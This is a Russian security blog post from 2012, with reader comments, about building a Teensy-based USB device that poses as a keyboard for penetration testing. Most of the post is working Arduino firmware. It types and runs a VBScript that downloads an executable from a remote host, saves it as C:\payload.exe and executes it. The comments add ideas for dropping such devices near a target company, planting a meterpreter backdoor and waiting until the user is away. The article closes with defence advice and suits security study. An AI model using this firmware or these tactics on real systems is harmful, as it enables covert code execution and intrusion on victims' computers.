Безопасность как искусство
253,68
рейтинг
11 апреля 2012 в 08:19

Разработка → Боевой HID-эмулятор на Arduino

image
За последние годы многие стали с некоторой осторожностью относиться к съемным носителям данных. И вполне обоснованно. Ведь все так или иначе встречались с autorun.inf в корне флешки. Но, к сожалению, автозапуск с носителя – далеко не единственный вектор атаки при подключении устройства. При проведении внутренних тестов на проникновение нередко возникает необходимость проверить и продемонстрировать заказчику все возможные векторы, в том числе обход device-lock’ов.
Под катом рассмотрим пример устройства на arduino-подобном МК, эмулирующего HID-клавиатуру, с последующим выполнением кода на атакуемой системе.

Вектор атаки лежит на стыке технологии и социальной инженерии, а именно, требует от потенциального злоумышленника возможности физически подключить устройство, которое “притворится” устройством ввода и самостоятельно выполнит необходимые действия. Все вышеописанное перестает выглядеть фантастично, стоит лишь вспомнить про великое множество полезных и не очень usb-девайсов неизвестного происхождения, которые служащие, бывает, подключают к своим рабочим станциям. Не стоит всегда полагаться на утиный тест: здесь не все, что выглядит как флешка, флешкой и является.

Железо


В качестве аппаратной платформы будем использовать Teensy USB Development Board, а именно Teensy 2.0.
image

  • Поддержка USB
  • Маленькие габариты
  • Небольшая стоимость($16)
  • Совместимость с Arduino


Софт


Сама идея эмулировать микроконтроллером нажатия клавиш на клавиатуре не нова, и в помощь нам существует масса готовых решений. В частности, получить код прошивки можно несколькими путями.

Social Engineering Toolkit

Предустанавливается в back-track, позволяет выбрать один из вариантов полезной нагрузки:
  • Powershell HTTP GET MSF Payload
  • WSCRIPT HTTP GET MSF Payload
  • Powershell based Reverse Shell Payload
  • Internet Explorer/FireFox Beef Jack Payload
  • Go to malicious java site and accept applet Payload
  • Gnome wget Download Payload

На выходе получается файл *.pde с кодом программы, готовым для компиляции и прошивки.

Kautilya

Как и модуль из SET, представляет собой генератор кода прошивки, но, в отличие от вышеупомянутого, содержит значительно больше разнообразных нагрузок и активно развивается энтузиастом по имени Nikhil Mittal. Например, в версии 0.2.1 содержится 20 различных вариантов полезной нагрузки для Windows и 3 для Linux. Но большая часть функционала основана на манипуляциях с Power-Shell, что, мягко говоря, затрудняет эксплуатацию в Windows XP.

Написать код самим

Для удобства можно использовать библиотеку phukdlib, созданную пионером в области «teensy-вектора», человеком по имени Adrian Crenshaw (Irongeek). В ней реализовано несколько рутинных операций, например, открытие командной строки, реализованное для различных ОС.

Какой бы способ мы ни выбрали, в итоге у нас будет файл с кодом нашей прошивки, который надо чем-то скомпилировать и залить в МК. Для этого качаем и устанавливаем Arduino и teesyduino — дополнение для ардуино, добавляющее поддержку сборки под нашу платформу, а также десятки полезных примеров.

Саму среду достаточно просто распаковать из архива, и она уже готова к запуску. В процессе установки teensyduino установится также USB Serial driver, и будет предложено выбрать дополнительные библиотеки для работы со всевозможной периферией, от сервоприводов до GPS-приемников. Для нашей сегодняшней задачи ни одна из них не понадобится, но все они сами по себе достаточно любопытны и сопровождаются примерами кода.

image

Теперь запускаем и выбираем тип платы.

image

Эмулировать мы будем устройства ввода, так что выбираем соответствующий тип USB.

image

Итак, скромный инструментарий готов, и можно приступать к написанию программы.

Let's rock!


Зададим глобальные переменные
int ledPin = 11; //номер пина, на который уже разведен светодиод
int complete_flag =0; //флаг, указывающий, что один цикл программы уже выполнился


Перед основным циклом единожды выполняется функция Setup(). В ней мы приветственно поморгаем светодиодом, а заодно дадим несколько секунд на инициализацию HID-устройства системой.

void setup() {
pinMode(ledPin, OUTPUT);
for(int i=0;i<=2;i++)
{
delay(1000);
digitalWrite(ledPin,HIGH);
delay(1000);
digitalWrite(ledPin,LOW);
} }


Для начала вызовем стандартный диалог выполнения команд, «нажав» хоткей Win+R.

void loop() {
if(!complete_flag)
{
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();


Подождем немного, пока диалог откроется. Здесь и далее в этом примере используется задержка продолжительностью в 1 секунду — значение, неоправданно большое для реальных условий и зависящее от отзывчивости системы (бывает, что и блокнот открывается полминуты).

delay(1000);

Запустим блокнот.

Keyboard.println("notepad");
delay(1000);


Теперь, когда перед нами открылся текстовый редактор, «наберем» VBS-скрипт, который скачает и запустит приложение со стороннего сервера.

Keyboard.println("Set xml=CreateObject(\"Microsoft.XMLHTTP\")");
Keyboard.println("xml.Open \"GET\",\"http://192.168.1.137/calc.\"&\"exe\",False");
Keyboard.println("xml.Send");
Keyboard.println("set oStream=createobject(\"Adodb.Stream\")");
Keyboard.println("Const adTypeBinary=1");
Keyboard.println("Const adSaveCreateOverWrite=2");
Keyboard.println("Const adSaveCreateNotExist=1 ");
Keyboard.println("oStream.type=1");
Keyboard.println("oStream.open");
Keyboard.println("oStream.write xml.responseBody");
Keyboard.println("oStream.savetofile \"C:\\payload.\"&\"exe\", 2");
Keyboard.println("oStream.close");
Keyboard.println("Set wshShell=CreateObject(\"WScript.Shell\")");
Keyboard.println("WshShell.Exec (\"C:\\payload.\"&\"exe\")");


Сохраним полученное в корне диска С (Alt+F4 -> Enter -> вводим имя файла -> Enter).

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("");
delay(1000);
Keyboard.println("c:\\getpayload.vbs");


Как и ранее, Win+R, и запускаем только что созданный скрипт.

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("c:\\getpayload.vbs");
complete_flag = 1;
} }


Настало время залить все это в teensy. Для этого просто жмем кнопку Upload, и после завершения компиляции перед нами предстанет окошко teensy-loader’а. Остается подключить нашу плату по USB и нажать единственную кнопку. После прошивки микроконтроллер автоматически перезагрузится и начнет выполнение программы.

image

Action!




В заключение хочется отметить, что для защиты от подобного рода атак можно использовать настройку политик безопасности для добавления новых устройств в ОС или же специализированные средства для блокировки. Но устройства идентифицируются системой по связке Vendor ID и Product ID, которые, в свою очередь, могут быть запрограммированы злоумышленником и полностью соответствовать уже зарегистрированным в системе. Таким образом, даже блокировка по «белому списку» не является панацеей. Для выявления и блокировки HID-эмуляторов, на мой взгляд, следует использовать эвристические методы, например, основываясь на анализе изменения скорости ввода.
Автор: @JRun
Digital Security
рейтинг 253,68
Безопасность как искусство

Комментарии (23)

  • +1
    Эта атака нормально пройдет только если у вас уже есть сеанс в системе с правами администратора/рута. Так есть ли смысл?
    • +4
      Смысл есть, так как для утечка чувствительной информации, например, может произойти и без администраторских привилегий.
      • +2
        Разумеется, случаи бывают разные. Просто городить огород с программированием девайса под атакуемую систему (которую при этом надо хорошо знать) мне показалось слегка избыточным. Раз есть доступ к компьютеру, то проще руками набрать команды.
        • +4
          Не. Спектр применения широк. Например у Микхила есть такой вод код под винды:
          1) Врубить вайфай в режиме точки
          2) Поднять интерфейс
          3) Закачать бекдор (meterpreter)
          4) Бэкдор открывает порт на понятом интерфейсе

          Дальше «раздача» флешек с «Teensy» на территории атакуемого предприятия.
          Через час ожидания под стенами компании, открывается вай-фай с бекдором на одном из ноутов.

          И это тока один из вариантов. Да есть масса моментов «везения» для работоспособности данного сценария, но все же…

          • +2
            Можно еще пойти дальше роутер за 24$ где то 100% openwrt совместимый. Сделать на нем HID + вай фай точка доступа уже сразу

            Питания от USB вполне хватает для нормальной работы.

            wiki.openwrt.org/toh/tp-link/tl-wr703n

            • 0
              Вы праы, можно. Но замаскировать такой девайс под флешку будет проблематично.
              • 0
                Под внешний USB-ЖД?
          • +1
            Тут даже и раздавать на территории не надо :) Разбросать по окрестностям и подписать, как нить типа «pr0n» или «private photos». Народ ушлый, пойдет проверять. Хотя можно и не подписывать — все равно халявную флешку к рукам приберут.
  • +4
    Спасибо, очень интересный метод атаки. Предлагаю пару идей:
    1) Эмулировать не только клавиатуру, но и собственно флешку, чтобы вызывать меньше подозрений. Судя по скринам, есть такая возможность.
    2) Начинать диверсию не сразу после втыкания, а через пару минут (когда юзер убрал руку подальше от USB-порта) или даже попозже, дождавшись бездействия пользователя. Отдельный вопрос, как это бездействие определить. На фейк-клавиатуру вроде не транслируются сигналы нажатия клавиш основной, только состояние *-lock'ов. Может быть, мониторить пульсации напряжения питания USB?
    • +2
      1) Возможно расширение функционала, путем подключения SD-карточки.
      2) Конечно, можно захардкодить задержку. Но есть вариации с подключением фотодиода, то есть можно начинать выполнение при изменении освещенности в помещении(человек отошел и выключил свет). Так же можно задействовать обвязку и библиотеку для работы с ИК-сигналами и управлять процессом при помощи пульта от телевизора с расстояния(хоть через окно). Думаю, задействовать микрофон в качестве датчика присутствия пользователя тоже не составит труда)
      • 0
        Главное не проворонить момент, когда юзер отошел, но еще не запустился скринсейвер с паролем. А есть категория пользователей, которые блокируют экран, как только встанут из-за компа.
        Управлять ИК-пультом через окно — сомнительное удовольствие, мы же не знаем, в какой именно комнате воткнут наше устройство (на 10-ом этаже, ага) и как скоро это произойдет. Лучше уж поставить 2,4ГГц радиомодуль, чтобы девайс выдавал в эфир: «Я на месте! Приступаем?»
    • 0
      Тогда и кодить особо много не надо: win+r и запускаем с флэшки своего боевого коня
  • +1
    а можно такое сделать на обычной Arduino? что для этого нужно? Спасибо
    • 0
      по большей части интересует эмуляция джойстика
      • +1
        На версиях arduino с USB, да. В свободном доступе есть подобные проекты.
        • 0
          можно линк хотябы на один из них?
          • 0
            На arduino.cc есть небольшой список, надеюсь что-нибудь из него подойдет для вашей задачи.
    • 0
      мы делали POC на обычной usb демо борде от атмела.
      Эмулировался композитный usb девайс (диск+hid). В буфере hid лежала последовательность кейкодов, которая искала драйв и с определенного места пускала бинарник (через консоль).
      Минус: с заблокированного экрана не работало, без прав админа тоже не айс.
      А вообще усб протокол спроектирован был не очень дальновидно — оч. много возможностей вогнать систему в бсод, но написать работающий poc на исполнение произвольного кода за вменяемое время не получилось.
      если есть интерес, могу видео процесса куда-нить положить (посоветуйте видео хостинг без регистрации).

      • 0
        Да, было бы любопытно поглядеть. (Связка mailinator.com+youtube.com не подойдёт вместо хостинга без регистрации?)
  • 0
    Уж тогда лучше эмулировать несколько устройств, например клавиатуру и съёмный носитель… и прямо с носителя запускать что нужно, ничего не скачивая и не печатая в блокноте.
    • 0
      Так будет работать, если storage девайсы разрешены. HID почти всегда разрешены.
  • 0
    Скажите а готовых Teensy замаскированных под флешку не продают?
    • +1
      Не на базе teensy, но принцип тот же. USB Rubber Ducky

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка